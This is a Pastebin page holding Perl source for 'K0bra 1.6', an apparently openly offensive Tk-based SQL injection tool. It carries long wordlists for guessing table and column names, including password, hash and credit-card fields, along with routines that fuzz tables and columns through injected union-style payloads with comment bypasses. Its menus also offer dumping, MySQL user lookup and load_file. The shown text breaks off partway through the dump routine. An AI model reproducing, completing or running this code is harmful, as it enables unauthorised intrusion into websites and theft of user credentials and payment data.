API tools faq
paste
Doddy

K0bra 1.6 (TK)(Codigo identado)

Doddy
Jul 15th, 2012
144
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 59.36 KB | None | 0 0
raw download clone embed print report
  1. #!usr/bin/perl
  2. #K0bra 1.6
  3. #Version Tk
  4. #Coded By Doddy H
  5.  
  6. #The arrays are a collection of various tools I found on the web.
  7.  
  8. my @buscar1 = (
  9.     'usuario',                 'web_users',
  10.     'name',                    'names',
  11.     'nombre',                  'nombres',
  12.     'usuarios',                'member',
  13.     'members',                 'admin_table',
  14.     'usuaris',                 'admin',
  15.     'tblUsers',                'tblAdmin',
  16.     'user',                    'users',
  17.     'username',                'usernames',
  18.     'web_usuarios',            'miembro',
  19.     'miembros',                'membername',
  20.     'admins',                  'administrator',
  21.     'sign',                    'config',
  22.     'USUARIS',                 'cms_operadores',
  23.     'administrators',          'passwd',
  24.     'password',                'passwords',
  25.     'pass',                    'Pass',
  26.     'mpn_authors',             'author',
  27.     'musuario',                'mysql.user',
  28.     'user_names',              'foro',
  29.     'tAdmin',                  'tadmin',
  30.     'user_password',           'user_passwords',
  31.     'user_name',               'member_password',
  32.     'mods',                    'mod',
  33.     'moderators',              'moderator',
  34.     'user_email',              'jos_users',
  35.     'mb_user',                 'host',
  36.     'apellido_nombre',         'user_emails',
  37.     'user_mail',               'user_mails',
  38.     'mail',                    'emails',
  39.     'email',                   'address',
  40.     'jos_usuarios',            'tutorial_user_auth',
  41.     'e-mail',                  'emailaddress',
  42.     'correo',                  'correos',
  43.     'phpbb_users',             'log',
  44.     'logins',                  'login',
  45.     'tbl_usuarios',            'user_auth',
  46.     'login_radio',             'registers',
  47.     'register',                'usr',
  48.     'usrs',                    'ps',
  49.     'pw',                      'un',
  50.     'u_name',                  'u_pass',
  51.     'tbl_admin',               'usuarios_head',
  52.     'tpassword',               'tPassword',
  53.     'u_password',              'nick',
  54.     'nicks',                   'manager',
  55.     'managers',                'administrador',
  56.     'BG_CMS_Users',            'tUser',
  57.     'tUsers',                  'administradores',
  58.     'clave',                   'login_id',
  59.     'pwd',                     'pas',
  60.     'sistema_id',              'foro_usuarios',
  61.     'cliente',                 'sistema_usuario',
  62.     'sistema_password',        'contrasena',
  63.     'auth',                    'key',
  64.     'senha',                   'signin',
  65.     'dir_admin',               'alias',
  66.     'clientes',                'tb_admin',
  67.     'tb_administrator',        'tb_login',
  68.     'tb_logon',                'tb_members_tb_member',
  69.     'calendar_users',          'cursos',
  70.     'tb_users',                'tb_user',
  71.     'tb_sys',                  'sys',
  72.     'fazerlogon',              'logon',
  73.     'fazer',                   'authorization',
  74.     'curso',                   'membros',
  75.     'utilizadores',            'staff',
  76.     'nuke_authors',            'accounts',
  77.     'account',                 'accnts',
  78.     'signup',                  'leads',
  79.     'lead',                    'associated',
  80.     'accnt',                   'customers',
  81.     'customer',                'membres',
  82.     'administrateur',          'utilisateur',
  83.     'riacms_users',            'tuser',
  84.     'tusers',                  'utilisateurs',
  85.     'amministratore',          'god',
  86.     'God',                     'authors',
  87.     'wp_users',                'tb_usuarios',
  88.     'asociado',                'asociados',
  89.     'autores',                 'autor',
  90.     'Users',                   'Admin',
  91.     'Members',                 'tb_usuario',
  92.     'Miembros',                'Usuario',
  93.     'Usuarios',                'ADMIN',
  94.     'USERS',                   'USER',
  95.     'MEMBER',                  'MEMBERS',
  96.     'USUARIO',                 'USUARIOS',
  97.     'MIEMBROS',                'MIEMBRO',
  98.     'USR_NAME',                'about',
  99.     'access',                  'admin_id',
  100.     'admin_name',              'admin_pass',
  101.     'admin_passwd',            'admin_password',
  102.     'admin_pwd',               'admin_user',
  103.     'admin_userid',            'admin_username',
  104.     'adminemail',              'adminid',
  105.     'administrator_name',      'adminlogin',
  106.     'adminmail',               'adminname',
  107.     'adminuser',               'adminuserid',
  108.     'adminusername',           'aid',
  109.     'aim',                     'apwd',
  110.     'auid',                    'authenticate',
  111.     'authentication',          'blog',
  112.     'cc_expires',              'cc_number',
  113.     'cc_owner',                'cc_type',
  114.     'cfg',                     'cid',
  115.     'clientname',              'clientpassword',
  116.     'clientusername',          'conf',
  117.     'contact',                 'converge_pass_hash',
  118.     'converge_pass_salt',      'crack',
  119.     'customers_email_address', 'customers_password',
  120.     'cvvnumber]',              'data',
  121.     'db_database_name',        'db_hostname',
  122.     'db_password',             'db_username',
  123.     'download',                'e_mail',
  124.     'emer',                    'emni',
  125.     'emniplote',               'emri',
  126.     'fjalekalimi',             'fjalekalimin',
  127.     'full',                    'gid',
  128.     'group',                   'group_name',
  129.     'hash',                    'hashsalt',
  130.     'homepage',                'icq',
  131.     'icq_number',              'id',
  132.     'id_group',                'id_member',
  133.     'images',                  'ime',
  134.     'index',                   'ip_address',
  135.     'kodi',                    'korisnici',
  136.     'korisnik',                'kpro_user',
  137.     'last_ip',                 'last_login',
  138.     'lastname',                'llogaria',
  139.     'login_admin',             'login_name',
  140.     'login_pass',              'login_passwd',
  141.     'login_password',          'login_pw',
  142.     'login_pwd',               'login_user',
  143.     'login_username',          'logini',
  144.     'loginkey',                'loginout',
  145.     'logo',                    'logohu',
  146.     'lozinka',                 'md5hash',
  147.     'mem_login',               'mem_pass',
  148.     'mem_passwd',              'mem_password',
  149.     'mem_pwd',                 'member_id',
  150.     'member_login_key',        'member_name',
  151.     'memberid',                'memlogin',
  152.     'mempassword',             'my_email',
  153.     'my_name',                 'my_password',
  154.     'my_username',             'myname',
  155.     'mypassword',              'myusername',
  156.     'nc',                      'new',
  157.     'news',                    'number',
  158.     'nummer',                  'p_assword',
  159.     'p_word',                  'pass_hash',
  160.     'pass_w',                  'pass_word',
  161.     'pass1word',               'passw',
  162.     'passwordsalt',            'passwort',
  163.     'passwrd',                 'perdorimi',
  164.     'perdoruesi',              'personal_key',
  165.     'phone',                   'privacy',
  166.     'psw',                     'punetoret',
  167.     'punonjes',                'pword',
  168.     'pwrd',                    'salt',
  169.     'search',                  'secretanswer',
  170.     'secretquestion',          'serial',
  171.     'session_member_id',       'session_member_login_key',
  172.     'sesskey',                 'setting',
  173.     'sid',                     'sifra',
  174.     'spacer',                  'status',
  175.     'store',                   'store1',
  176.     'store2',                  'store3',
  177.     'store4',                  'table_prefix',
  178.     'temp_pass',               'temp_password',
  179.     'temppass',                'temppasword',
  180.     'text',                    'uid',
  181.     'uname',                   'user_admin',
  182.     'user_icq',                'user_id',
  183.     'user_ip',                 'user_level',
  184.     'user_login',              'user_n',
  185.     'user_pass',               'user_passw',
  186.     'user_passwd',             'user_pw',
  187.     'user_pwd',                'user_pword',
  188.     'user_pwrd',               'user_un',
  189.     'user_uname',              'user_username',
  190.     'user_usernm',             'user_usernun',
  191.     'user_usrnm',              'user1',
  192.     'useradmin',               'userid',
  193.     'userip',                  'userlogin',
  194.     'usern',                   'usernm',
  195.     'userpass',                'userpassword',
  196.     'userpw',                  'userpwd',
  197.     'usr_n',                   'usr_name',
  198.     'usr_pass',                'usr2',
  199.     'usrn',                    'usrnam',
  200.     'usrname',                 'usrnm',
  201.     'usrpass',                 'warez',
  202.     'xar_name',                'xar_pass',
  203.     'nom dutilisateur',        'mot de passe',
  204.     'compte',                  'comptes',
  205.     'aide',                    'objectif',
  206.     'authentifier',            'authentification',
  207.     'Contact',                 'fissure',
  208.     'client',                  'clients',
  209.     'de donn?es',              'mot_de_passe_bdd',
  210.     't?l?charger',             'E-mail',
  211.     'adresse e-mail',          'Emer',
  212.     'complet',                 'groupe',
  213.     'hachage',                 'Page daccueil',
  214.     'Kodi',                    'nom',
  215.     'connexion',               'membre',
  216.     'MEMBERNAME',              'mon_mot_de_passe',
  217.     'monmotdepasse',           'ignatiusj',
  218.     'caroline-du-nord',        'nouveau',
  219.     'Nick',                    'passer',
  220.     'Passw',                   'Mot de passe',
  221.     't?l?phone',               'protection de la vie priv?e',
  222.     'PSW',                     'pWord',
  223.     'sel',                     'recherche',
  224.     'de s?rie',                'param?tre',
  225.     '?tat',                    'stocker',
  226.     'texte',                   'cvvnumber'
  227. );
  228. my @buscar2 = (
  229.     'name',                          'user',
  230.     'user_name',                     'user_username',
  231.     'uname',                         'user_uname',
  232.     'usern',                         'user_usern',
  233.     'un',                            'user_un',
  234.     'mail',                          'cliente',
  235.     'usrnm',                         'user_usrnm',
  236.     'usr',                           'admin_name',
  237.     'cla_adm',                       'usu_adm',
  238.     'fazer',                         'logon',
  239.     'fazerlogon',                    'authorization',
  240.     'membros',                       'utilizadores',
  241.     'sysadmin',                      'email',
  242.     'senha',                         'username',
  243.     'usernm',                        'user_usernm',
  244.     'nm',                            'user_nm',
  245.     'login',                         'u_name',
  246.     'nombre',                        'host',
  247.     'pws',                           'cedula',
  248.     'userName',                      'host_password',
  249.     'chave',                         'alias',
  250.     'apellido_nombre',               'cliente_nombre',
  251.     'cliente_email',                 'cliente_pass',
  252.     'cliente_user',                  'cliente_usuario',
  253.     'login_id',                      'sistema_id',
  254.     'author',                        'user_login',
  255.     'admin_user',                    'admin_pass',
  256.     'uh_usuario',                    'uh_password',
  257.     'psw',                           'host_username',
  258.     'sistema_usuario',               'auth',
  259.     'key',                           'usuarios_nombre',
  260.     'usuarios_nick',                 'usuarios_password',
  261.     'user_clave',                    'membername',
  262.     'nme',                           'unme',
  263.     'password',                      'user_password',
  264.     'autores',                       'pass_hash',
  265.     'hash',                          'pass',
  266.     'correo',                        'usuario_nombre',
  267.     'usuario_nick',                  'usuario_password',
  268.     'userpass',                      'user_pass',
  269.     'upw',                           'pword',
  270.     'user_pword',                    'passwd',
  271.     'user_passwd',                   'passw',
  272.     'user_passw',                    'pwrd',
  273.     'user_pwrd',                     'pwd',
  274.     'authors',                       'user_pwd',
  275.     'u_pass',                        'clave',
  276.     'usuario',                       'contrasena',
  277.     'pas',                           'sistema_password',
  278.     'autor',                         'upassword',
  279.     'web_password',                  'web_username',
  280.     'tbladmins',                     'sort',
  281.     '_wfspro_admin',                 '4images_users',
  282.     'a_admin',                       'account',
  283.     'accounts',                      'adm',
  284.     'admin',                         'admin_login',
  285.     'admin_userinfo',                'administer',
  286.     'administrable',                 'administrate',
  287.     'administration',                'administrator',
  288.     'administrators',                'adminrights',
  289.     'admins',                        'adminuser',
  290.     'art',                           'article_admin',
  291.     'articles',                      'artikel',
  292.     'ÃÜÂë',                          'aut',
  293.     'autore',                        'backend',
  294.     'backend_users',                 'backenduser',
  295.     'bbs',                           'book',
  296.     'chat_config',                   'chat_messages',
  297.     'chat_users',                    'client',
  298.     'clients',                       'clubconfig',
  299.     'company',                       'config',
  300.     'contact',                       'contacts',
  301.     'content',                       'control',
  302.     'cpg_config',                    'cpg132_users',
  303.     'customer',                      'customers',
  304.     'customers_basket',              'dbadmins',
  305.     'dealer',                        'dealers',
  306.     'diary',                         'download',
  307.     'Dragon_users',                  'e107.e107_user',
  308.     'e107_user',                     'forum.ibf_members',
  309.     'fusion_user_groups',            'fusion_users',
  310.     'group',                         'groups',
  311.     'ibf_admin_sessions',            'ibf_conf_settings',
  312.     'ibf_members',                   'ibf_members_converge',
  313.     'ibf_sessions',                  'icq',
  314.     'images',                        'index',
  315.     'info',                          'ipb.ibf_members',
  316.     'ipb_sessions',                  'joomla_users',
  317.     'jos_blastchatc_users',          'jos_comprofiler_members',
  318.     'jos_contact_details',           'jos_joomblog_users',
  319.     'jos_messages_cfg',              'jos_moschat_users',
  320.     'jos_users',                     'knews_lostpass',
  321.     'korisnici',                     'kpro_adminlogs',
  322.     'kpro_user',                     'links',
  323.     'login_admin',                   'login_admins',
  324.     'login_user',                    'login_users',
  325.     'logins',                        'logs',
  326.     'lost_pass',                     'lost_passwords',
  327.     'lostpass',                      'lostpasswords',
  328.     'm_admin',                       'main',
  329.     'mambo_session',                 'mambo_users',
  330.     'manage',                        'manager',
  331.     'mb_users',                      'member',
  332.     'memberlist',                    'members',
  333.     'minibbtable_users',             'mitglieder',
  334.     'movie',                         'movies',
  335.     'mybb_users',                    'mysql',
  336.     'mysql.user',                    'names',
  337.     'news',                          'news_lostpass',
  338.     'newsletter',                    'nuke_authors',
  339.     'nuke_bbconfig',                 'nuke_config',
  340.     'nuke_popsettings',              'nuke_users',
  341.     'Óû§',                          'obb_profiles',
  342.     'order',                         'orders',
  343.     'parol',                         'partner',
  344.     'partners',                      'passes',
  345.     'passwords',                     'perdorues',
  346.     'perdoruesit',                   'phorum_session',
  347.     'phorum_user',                   'phorum_users',
  348.     'phpads_clients',                'phpads_config',
  349.     'phpbb_users',                   'phpBB2.forum_users',
  350.     'phpBB2.phpbb_users',            'phpmyadmin.pma_table_info',
  351.     'pma_table_info',                'poll_user',
  352.     'punbb_users',                   'pwds',
  353.     'reg_user',                      'reg_users',
  354.     'registered',                    'reguser',
  355.     'regusers',                      'session',
  356.     'sessions',                      'settings',
  357.     'shop.cards',                    'shop.orders',
  358.     'site_login',                    'site_logins',
  359.     'sitelogin',                     'sitelogins',
  360.     'sites',                         'smallnuke_members',
  361.     'smf_members',                   'SS_orders',
  362.     'statistics',                    'superuser',
  363.     'sysadmins',                     'system',
  364.     'sysuser',                       'sysusers',
  365.     'table',                         'tables',
  366.     'tb_admin',                      'tb_administrator',
  367.     'tb_login',                      'tb_member',
  368.     'tb_members',                    'tb_user',
  369.     'tb_username',                   'tb_usernames',
  370.     'tb_users',                      'tbl',
  371.     'tbl_user',                      'tbl_users',
  372.     'tbluser',                       'tbl_clients',
  373.     'tbl_client',                    'tblclients',
  374.     'tblclient',                     'test',
  375.     'usebb_members',                 'user_admin',
  376.     'user_info',                     'user_list',
  377.     'user_logins',                   'user_names',
  378.     'usercontrol',                   'userinfo',
  379.     'userlist',                      'userlogins',
  380.     'usernames',                     'userrights',
  381.     'users',                         'vb_user',
  382.     'vbulletin_session',             'vbulletin_user',
  383.     'voodoo_members',                'webadmin',
  384.     'webadmins',                     'webmaster',
  385.     'webmasters',                    'webuser',
  386.     'webusers',                      'x_admin',
  387.     'xar_roles',                     'xoops_bannerclient',
  388.     'xoops_users',                   'yabb_settings',
  389.     'yabbse_settings',               'ACT_INFO',
  390.     'ActiveDataFeed',                'Category',
  391.     'CategoryGroup',                 'ChicksPass',
  392.     'ClickTrack',                    'Country',
  393.     'CountryCodes1',                 'CustomNav',
  394.     'DataFeedPerformance1',          'DataFeedPerformance2',
  395.     'DataFeedPerformance2_incoming', 'DataFeedShowtag1',
  396.     'DataFeedShowtag2',              'DataFeedShowtag2_incoming',
  397.     'dtproperties',                  'Event',
  398.     'Event_backup',                  'Event_Category',
  399.     'EventRedirect',                 'Events_new',
  400.     'Genre',                         'JamPass',
  401.     'MyTicketek',                    'MyTicketekArchive',
  402.     'News',                          'PerfPassword',
  403.     'PerfPasswordAllSelected',       'Promotion',
  404.     'ProxyDataFeedPerformance',      'ProxyDataFeedShowtag',
  405.     'ProxyPriceInfo',                'Region',
  406.     'SearchOptions',                 'Series',
  407.     'Sheldonshows',                  'StateList',
  408.     'States',                        'SubCategory',
  409.     'Subjects',                      'Survey',
  410.     'SurveyAnswer',                  'SurveyAnswerOpen',
  411.     'SurveyQuestion',                'SurveyRespondent',
  412.     'sysconstraints',                'syssegments',
  413.     'tblRestrictedPasswords',        'tblRestrictedShows',
  414.     'TimeDiff',                      'Titles',
  415.     'ToPacmail1',                    'ToPacmail2',
  416.     'UserPreferences',               'uvw_Category',
  417.     'uvw_Pref',                      'uvw_Preferences',
  418.     'Venue',                         'venues',
  419.     'VenuesNew',                     'X_3945',
  420.     'tblArtistCategory',             'tblArtists',
  421.     'tblConfigs',                    'tblLayouts',
  422.     'tblLogBookAuthor',              'tblLogBookEntry',
  423.     'tblLogBookImages',              'tblLogBookImport',
  424.     'tblLogBookUser',                'tblMails',
  425.     'tblNewCategory',                'tblNews',
  426.     'tblOrders',                     'tblStoneCategory',
  427.     'tblStones',                     'tblUser',
  428.     'tblWishList',                   'VIEW1',
  429.     'viewLogBookEntry',              'viewStoneArtist',
  430.     'vwListAllAvailable',            'CC_info',
  431.     'CC_username',                   'cms_user',
  432.     'cms_users',                     'cms_admin',
  433.     'cms_admins',                    'jos_user',
  434.     'table_user',                    'bulletin',
  435.     'cc_info',                       'login_name',
  436.     'admuserinfo',                   'userlistuser_list',
  437.     'SiteLogin',                     'Site_Login',
  438.     'UserAdmin',                     'Admins',
  439.     'Login',                         'Logins'
  440. );
  441.  
  442. use Tk;
  443. use Tk::ROText;
  444. use Tk::Dialog;
  445. use LWP::UserAgent;
  446. use URI::Split qw(uri_split);
  447.  
  448. if ( $^O eq 'MSWin32' ) {
  449.     use Win32::Console;
  450.     Win32::Console::Free();
  451. }
  452.  
  453. installer();
  454.  
  455. my $nave = LWP::UserAgent->new();
  456. $nave->timeout(5);
  457. $nave->agent(
  458. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  459. );
  460.  
  461. my $color_fondo = "black";
  462. my $color_texto = "green";
  463.  
  464. my $logo =
  465.   MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  466. $logo->title("K0bra 1.6 (C) Doddy Hackman 2012");
  467. $logo->geometry("500x620+20+20");
  468. $logo->resizable( 0, 0 );
  469.  
  470. $menula = $logo->Frame(
  471.     -relief     => "sunken",
  472.     -bd         => 1,
  473.     -background => $color_fondo,
  474.     -foreground => $color_texto
  475. );
  476. my $menulnowaxm = $menula->Menubutton(
  477.     -text             => "Options",
  478.     -underline        => 1,
  479.     -background       => $color_fondo,
  480.     -foreground       => $color_texto,
  481.     -activebackground => $color_texto
  482. )->pack( -side => "left" );
  483. my $aboutnowaxm = $menula->Menubutton(
  484.     -text             => "About",
  485.     -underline        => 1,
  486.     -background       => $color_fondo,
  487.     -foreground       => $color_texto,
  488.     -activebackground => $color_texto
  489. )->pack( -side => "left" );
  490. my $exitnowaxm = $menula->Menubutton(
  491.     -text             => "Exit",
  492.     -underline        => 1,
  493.     -background       => $color_fondo,
  494.     -foreground       => $color_texto,
  495.     -activebackground => $color_texto
  496. )->pack( -side => "left" );
  497. $menula->pack( -side => "top", -fill => "x" );
  498.  
  499. $menulnowaxm->command(
  500.     -label      => "Scan",
  501.     -background => $color_fondo,
  502.     -foreground => $color_texto,
  503.     -command    => \&nownow
  504. );
  505. $menulnowaxm->command(
  506.     -label      => "Scanner without checking",
  507.     -background => $color_fondo,
  508.     -foreground => $color_texto,
  509.     -command    => \&nownownow
  510. );
  511. $menulnowaxm->command(
  512.     -label      => "Get Details",
  513.     -background => $color_fondo,
  514.     -foreground => $color_texto,
  515.     -command    => \&details
  516. );
  517. $menulnowaxm->command(
  518.     -label      => "Fuzz Tables",
  519.     -background => $color_fondo,
  520.     -foreground => $color_texto,
  521.     -command    => \&fuzz
  522. );
  523. $menulnowaxm->command(
  524.     -label      => "Fuzz Columns",
  525.     -background => $color_fondo,
  526.     -foreground => $color_texto,
  527.     -command    => \&fuzzcol
  528. );
  529. $menulnowaxm->command(
  530.     -label      => "Mysql User",
  531.     -background => $color_fondo,
  532.     -foreground => $color_texto,
  533.     -command    => \&mynow
  534. );
  535. $menulnowaxm->command(
  536.     -label      => "load_file",
  537.     -background => $color_fondo,
  538.     -foreground => $color_texto,
  539.     -command    => \&myfile
  540. );
  541. $menulnowaxm->command(
  542.     -label      => "Dump",
  543.     -background => $color_fondo,
  544.     -foreground => $color_texto,
  545.     -command    => \&dum
  546. );
  547. $menulnowaxm->command(
  548.     -label      => "Hex",
  549.     -background => $color_fondo,
  550.     -foreground => $color_texto,
  551.     -command    => \&per1
  552. );
  553. $menulnowaxm->command(
  554.     -label      => "ASCII",
  555.     -background => $color_fondo,
  556.     -foreground => $color_texto,
  557.     -command    => \&per2
  558. );
  559. $menulnowaxm->command(
  560.     -label      => "Logs",
  561.     -background => $color_fondo,
  562.     -foreground => $color_texto,
  563.     -command    => \&openlogsk
  564. );
  565.  
  566. $aboutnowaxm->command(
  567.     -label      => "About",
  568.     -background => $color_fondo,
  569.     -foreground => $color_texto,
  570.     -command    => \&aboutxa
  571. );
  572.  
  573. $exitnowaxm->command(
  574.     -label      => "Exit",
  575.     -background => $color_fondo,
  576.     -foreground => $color_texto,
  577.     -command    => \&exitnow
  578. );
  579.  
  580. $logo->Label(
  581.     -text       => "Target : ",
  582.     -font       => "Impact",
  583.     -background => $color_fondo,
  584.     -foreground => $color_texto
  585. )->place( -x => 20, -y => 40 );
  586. my $targetero = $logo->Entry(
  587.     -width      => 65,
  588.     -text       => "http://127.0.0.1:8080/sql.php?id=1",
  589.     -background => $color_fondo,
  590.     -foreground => $color_texto
  591. )->place( -y => 43, -x => 80 );
  592.  
  593. $logo->Label(
  594.     -text       => "Bypass : ",
  595.     -font       => "Impact",
  596.     -background => $color_fondo,
  597.     -foreground => $color_texto
  598. )->place( -x => 20, -y => 80 );
  599.  
  600. $logo->Optionmenu(
  601.     -background       => $color_fondo,
  602.     -foreground       => $color_texto,
  603.     -activebackground => $color_texto,
  604.     -options      => [ [ "--" => "--" ], [ "/*" => "/*" ], [ "%20" => "%20" ] ],
  605.     -variable     => \$var,
  606.     -textvariable => \$bypass
  607. )->place( -x => 90, -y => 82 );
  608.  
  609. $logo->Label(
  610.     -text       => "Details : ",
  611.     -font       => "Impact",
  612.     -background => $color_fondo,
  613.     -foreground => $color_texto
  614. )->place( -y => 190, -x => 60 );
  615. my $informatero = $logo->Listbox(
  616.     -height     => 10,
  617.     -width      => 50,
  618.     -background => $color_fondo,
  619.     -foreground => $color_texto
  620. )->place( -y => 150, -x => 130 );
  621.  
  622. $logo->Label(
  623.     -text       => "Databases",
  624.     -font       => "Impact",
  625.     -background => $color_fondo,
  626.     -foreground => $color_texto
  627. )->place( -y => 340, -x => 65 );
  628. $logo->Label(
  629.     -text       => "Tables",
  630.     -font       => "Impact",
  631.     -background => $color_fondo,
  632.     -foreground => $color_texto
  633. )->place( -y => 340, -x => 215 );
  634. $logo->Label(
  635.     -text       => "Columns",
  636.     -font       => "Impact",
  637.     -background => $color_fondo,
  638.     -foreground => $color_texto
  639. )->place( -y => 340, -x => 345 );
  640.  
  641. my $datero = $logo->Listbox(
  642.     -width      => 20,
  643.     -background => $color_fondo,
  644.     -foreground => $color_texto
  645. )->place( -y => 380, -x => 40 );
  646. my $tablero = $logo->Listbox(
  647.     -width      => 20,
  648.     -background => $color_fondo,
  649.     -foreground => $color_texto
  650. )->place( -y => 380, -x => 180 );
  651. my $columnero = $logo->Listbox(
  652.     -width      => 20,
  653.     -background => $color_fondo,
  654.     -foreground => $color_texto
  655. )->place( -y => 380, -x => 320 );
  656.  
  657. $logo->Label(
  658.     -text       => "Status : ",
  659.     -font       => "Impact",
  660.     -background => $color_fondo,
  661.     -foreground => $color_texto
  662. )->place( -x => 100, -y => 560 );
  663. my $tatus = $logo->Entry(
  664.     -width      => 35,
  665.     -background => $color_fondo,
  666.     -foreground => $color_texto
  667. )->place( -x => 160, -y => 563 );
  668.  
  669. $datero->bind( "<Double-1>",    [ \&getdbs ] );
  670. $tablero->bind( "<Double-1>",   [ \&schematablesdb ] );
  671. $columnero->bind( "<Double-1>", [ \&schemacolumnsdb ] );
  672.  
  673. MainLoop;
  674.  
  675. sub nownownow {
  676.     motor( $targetero->get, $bypass );
  677. }
  678.  
  679. sub fuzz {
  680.  
  681.     my $page = $targetero->get;
  682.     my $save = partimealmedio($page);
  683.  
  684.     $tablero->delete( "0.0", "end" );
  685.  
  686.     ( $pass1, $pass2 ) = &bypass($bypass);
  687.     my $count = "0";
  688.     savefile( $save . ".txt", "\n" );
  689.     if ( $page =~ /(.*)hackman(.*)/g ) {
  690.         my $start = $1;
  691.         my $end   = $2;
  692.         for my $table (@buscar2) {
  693.             chomp $table;
  694.             $tatus->configure( -text => "Fuzzing Tables ..." );
  695.             $logo->update;
  696.             $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))";
  697.             $injection =
  698.                 $start
  699.               . $concat
  700.               . $end
  701.               . $pass1 . "from"
  702.               . $pass1
  703.               . $table
  704.               . $pass2;
  705.             $code = toma($injection);
  706.             if ( $code =~ /ERTOR854/g ) {
  707.                 $count++;
  708.                 $tablero->insert( "end", $table );
  709.                 savefile( $save . ".txt", "[Table Found] : $table" );
  710.             }
  711.         }
  712.     }
  713.     $tatus->configure( -text => " " );
  714. }
  715.  
  716. sub fuzzcol {
  717.  
  718.     my $page = $targetero->get;
  719.     my $save = partimealmedio($page);
  720.     ( $pass1, $pass2 ) = &bypass($bypass);
  721.  
  722.     $columnero->delete( "0.0", "end" );
  723.  
  724.     $d = $tablero->curselection();
  725.     for my $id (@$d) {
  726.         my $table = $tablero->get($id);
  727.  
  728.         my $count = "0";
  729.         savefile( $save . ".txt", "\n" );
  730.         if ( $page =~ /(.*)hackman(.*)/ ) {
  731.             my $start = $1;
  732.             my $end   = $2;
  733.             savefile( $save . ".txt", "[Table] : $table" );
  734.             for my $columns (@buscar1) {
  735.                 chomp $columns;
  736.                 $tatus->configure( -text => "Fuzzing columns ..." );
  737.                 $logo->update;
  738.                 $concat =
  739. "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$columns,char(69,82,84,79,82,56,53,52))))";
  740.                 $code =
  741.                   toma( $start
  742.                       . $concat
  743.                       . $end
  744.                       . $pass1 . "from"
  745.                       . $pass1
  746.                       . $table
  747.                       . $pass2 );
  748.                 if ( $code =~ /ERTOR854/g ) {
  749.                     $columnero->insert( "end", $columns );
  750.                     savefile( $save . ".txt", "[Column Found] : $columns" );
  751.                 }
  752.             }
  753.         }
  754.     }
  755.     $tatus->configure( -text => " " );
  756. }
  757.  
  758. sub per1 {
  759.  
  760.     my $he = MainWindow->new(
  761.         -background => $color_fondo,
  762.         -foreground => $color_texto
  763.     );
  764.     $he->title("Hex Converter (C) Doddy Hackman 2012");
  765.     $he->geometry("420x70+20+20");
  766.     $he->resizable( 0, 0 );
  767.     $he->Label(
  768.         -text       => "Text : ",
  769.         -font       => "Impact",
  770.         -background => $color_fondo,
  771.         -foreground => $color_texto
  772.     )->place( -x => 20, -y => 20 );
  773.     my $cam = $he->Entry(
  774.         -width      => 30,
  775.         -background => $color_fondo,
  776.         -foreground => $color_texto
  777.     )->place( -y => 24, -x => 65 );
  778.     $he->Button(
  779.         -text             => "Encode",
  780.         -width            => 10,
  781.         -command          => \&paso1,
  782.         -activebackground => $color_texto,
  783.         -background       => $color_fondo,
  784.         -foreground       => $color_texto
  785.     )->place( -y => 23, -x => 255 );
  786.     $he->Button(
  787.         -text             => "Decode",
  788.         -width            => 10,
  789.         -command          => \&paso2,
  790.         -activebackground => $color_texto,
  791.         -background       => $color_fondo,
  792.         -foreground       => $color_texto
  793.     )->place( -y => 23, -x => 325 );
  794.  
  795.     sub paso1 {
  796.         my $caca = $cam->get();
  797.         chomp $caca;
  798.         $cam->configure( -text => encode($caca) );
  799.     }
  800.  
  801.     sub paso2 {
  802.         my $caca = $cam->get();
  803.         chomp $caca;
  804.         $cam->configure( -text => decode($caca) );
  805.     }
  806. }
  807.  
  808. sub per2 {
  809.  
  810.     my $hexae = MainWindow->new(
  811.         -background => $color_fondo,
  812.         -foreground => $color_texto
  813.     );
  814.     $hexae->title("Ascii Converter (C) Doddy Hackman 2012");
  815.     $hexae->geometry("420x70+20+20");
  816.     $hexae->resizable( 0, 0 );
  817.     $hexae->Label(
  818.         -text       => "Text : ",
  819.         -font       => "Impact",
  820.         -background => $color_fondo,
  821.         -foreground => $color_texto
  822.     )->place( -x => 20, -y => 20 );
  823.     my $cama = $hexae->Entry(
  824.         -width      => 30,
  825.         -background => $color_fondo,
  826.         -foreground => $color_texto
  827.     )->place( -y => 24, -x => 65 );
  828.     $hexae->Button(
  829.         -text             => "Encode",
  830.         -width            => 10,
  831.         -command          => \&paso3,
  832.         -activebackground => $color_texto,
  833.         -background       => $color_fondo,
  834.         -foreground       => $color_texto
  835.     )->place( -y => 23, -x => 255 );
  836.     $hexae->Button(
  837.         -text             => "Decode",
  838.         -width            => 10,
  839.         -command          => \&paso4,
  840.         -activebackground => $color_texto,
  841.         -background       => $color_fondo,
  842.         -foreground       => $color_texto
  843.     )->place( -y => 23, -x => 325 );
  844.  
  845.     sub paso3 {
  846.         my $caca = $cama->get();
  847.         chomp $caca;
  848.         $cama->configure( -text => ascii($caca) );
  849.     }
  850.  
  851.     sub paso4 {
  852.         my $caca = $cama->get();
  853.         chomp $caca;
  854.         $cama->configure( -text => ascii_de($caca) );
  855.     }
  856. }
  857.  
  858. sub dum {
  859.  
  860.     my $pa = $targetero->get;
  861.  
  862.     $max = MainWindow->new(
  863.         -background => $color_fondo,
  864.         -foreground => $color_texto
  865.     );
  866.     $max->title("Dump Values");
  867.     $max->geometry("480x380+20+20");
  868.     $max->resizable( 0, 0 );
  869.  
  870.     $max->Label(
  871.         -text       => "Target : ",
  872.         -font       => "Impact",
  873.         -background => $color_fondo,
  874.         -foreground => $color_texto
  875.     )->place( -x => 50, -y => 20 );
  876.     my $tata = $max->Entry(
  877.         -width      => 40,
  878.         -text       => $pa,
  879.         -background => $color_fondo,
  880.         -foreground => $color_texto
  881.     )->place( -y => 23, -x => 110 );
  882.  
  883.     $max->Label(
  884.         -text       => "Table : ",
  885.         -font       => "Impact",
  886.         -background => $color_fondo,
  887.         -foreground => $color_texto
  888.     )->place( -x => 50, -y => 60 );
  889.     my $tato = $max->Entry(
  890.         -width      => 20,
  891.         -background => $color_fondo,
  892.         -foreground => $color_texto
  893.     )->place( -x => 105, -y => 63 );
  894.  
  895.     $max->Label(
  896.         -text       => "Column1 : ",
  897.         -font       => "Impact",
  898.         -background => $color_fondo,
  899.         -foreground => $color_texto
  900.     )->place( -y => 90, -x => 50 );
  901.     my $tatu = $max->Entry(
  902.         -width      => 20,
  903.         -background => $color_fondo,
